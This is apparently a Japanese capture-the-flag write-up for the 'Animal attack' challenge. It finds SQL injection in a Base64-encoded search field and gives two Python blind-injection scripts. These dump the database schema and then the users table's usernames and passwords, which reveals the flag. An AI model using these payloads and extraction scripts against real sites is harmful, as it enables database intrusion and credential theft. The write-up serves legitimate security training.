Animal attack (200pts)

 47 minutes, 14 seconds remaining
Animals have taken over our world and a specific team of animal spies have taken the role of leading the entire army of animals. We humans have formed a group of rebels who have taken it up as a mission to find the main users of the animal spies and find the admin of that group. The admin, with his username and password can launch a powerful attack on the humans. Help the human rebels group get the world back from the animals.

The portal is available at :- http://128.199.224.175:24000/
問題に提示されたURLにアクセスします。次のようなページが表示されます。

1

検索テキストに”0”を入力して検索すると次のように検索結果が0件になります。

2

また、そのときの送信データをChromeのデベロッパーツールで見てみると、Base64でエンコードされて送信されているようです。

3

次に、”0' or 1=1 #”で検索してみると次のように検索結果が返ってきます。

4

したがって、SQLインジェクションの脆弱性があることがわかります。また、”#”でSQLコメントできていることからDBMSがMySQLであることもわかります。

次に、UNIONインジェクションができるかどうか試してみますが、次のような結果が返ってきて”UNION”というキーワードがチェックされているようです。

5

そこで、ブラインドSQLインジェクションによりデータベースに存在するテーブル、カラムを調べてみます。
MySQLでは”information_schema”データベースにスキーマの定義情報が保存されています。”columns”テーブルを参照することで定義されているテーブル名、カラム名の情報がわかります。
import urllib
import urllib2
import base64

url = 'http://128.199.224.175:24000/'
table = ''
sql = "0' or ord(substr((select group_concat(table_name,':',column_name) from information_schema.columns where table_schema=database()),{},1))>{} #"
for pos in range(1, 200):
for c in range(32, 127):
sqli = sql.format(pos, c)
params = { 'spy_name': base64.b64encode(sqli) }
params = urllib.urlencode(params)
req = urllib2.Request(url)
req.add_header('test', 'application/x-www-form-urlencoded')
req.add_data(params)
res = urllib2.urlopen(req)
r = res.read()
if len(r) < 8000:
table = table + chr(c)
print(table)
break
このPythonスクリプトを実行すると、時間がかかりますが次の結果が得られます。
$ python aaa.py
s
sp
spi
spie
spies
spies:
spies:i
spies:id
(略)
spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emal
”users”テーブルが存在し、”username”、”password”というカラムが存在することがわかります。同じ手法で”users”テーブルの情報を取得します。
import urllib
import urllib2
import base64

url = 'http://128.199.224.175:24000/'
table = ''
sql = "0' or ord(substr((select group_concat(username,':',password) from users),{},1))>{} #"
for pos in range(1, 200):
for c in range(32, 127):
sqli = sql.format(pos, c)
params = { 'spy_name': base64.b64encode(sqli) }
params = urllib.urlencode(params)
req = urllib2.Request(url)
req.add_header('test', 'application/x-www-form-urlencoded')
req.add_data(params)
res = urllib2.urlopen(req)
r = res.read()
if len(r) < 8000:
table = table + chr(c)
print(table)
break
実行すると、次の結果を得ることができます。
$ python bbb.py
a
ad
adm
admi
admin
(略)
admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?},test:test

フラグは、
pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}
です。